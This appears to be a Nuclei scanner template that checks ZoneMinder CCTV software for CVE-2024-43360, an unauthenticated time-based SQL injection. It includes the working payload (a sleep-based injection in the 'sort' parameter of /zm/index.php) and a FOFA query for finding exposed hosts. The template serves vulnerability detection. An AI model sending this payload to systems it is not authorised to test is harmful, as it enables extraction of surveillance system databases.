id: CVE-2024-43360

info:
  name: ZoneMinder - SQL Injection
  author: s4e-io
  severity: critical
  description: |
    ZoneMinder is a free, open source closed-circuit television software application. ZoneMinder is affected by a time-based SQL Injection vulnerability. This vulnerability is fixed in 1.36.34 and 1.37.61.
  impact: |
    Unauthenticated attackers can exploit time-based SQL injection to extract sensitive database information from ZoneMinder.
  remediation: |
    Update ZoneMinder to version 1.36.34 or 1.37.61 or later.
  reference:
    - https://github.com/ZoneMinder/zoneminder/security/advisories/GHSA-9cmr-7437-v9fj
    - https://medium.com/techpioneers/cve-2024-43360-in-depth-analysis-and-implications-for-security-75ceccc746b4
    - https://nvd.nist.gov/vuln/detail/CVE-2024-43360
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-43360
    cwe-id: CWE-89
    epss-score: 0.63252
    epss-percentile: 0.98421
    cpe: cpe:2.3:a:zoneminder:zoneminder:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: zoneminder
    product: zoneminder
    fofa-query: icon_hash="-1218152116"
  tags: cve,cve2024,zoneminder,sqli,vkev,vuln

http:
  - raw:
      - |
        @timeout 20s
        GET /zm/index.php?sort=if(now()=sysdate()%2Csleep(6)%2C0)&order=desc&limit=20&view=request&request=watch&mid=1 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'contains_all(body,"result\":\"Ok", "rows\":[")'
          - 'contains(content_type,"application/json")'
          - 'status_code == 200'
        condition: and
# digest: 490a0046304402204fcd46a5bff868b8bf5ff1775f140307019f5f82e3cbb56b0d2403bbed2a26c002206fcf60d616f577d99c9a7c21c816cdba5f812f007b45d9736fccfb801b64ea1d:922c64590222798bb761d5b6d8e72950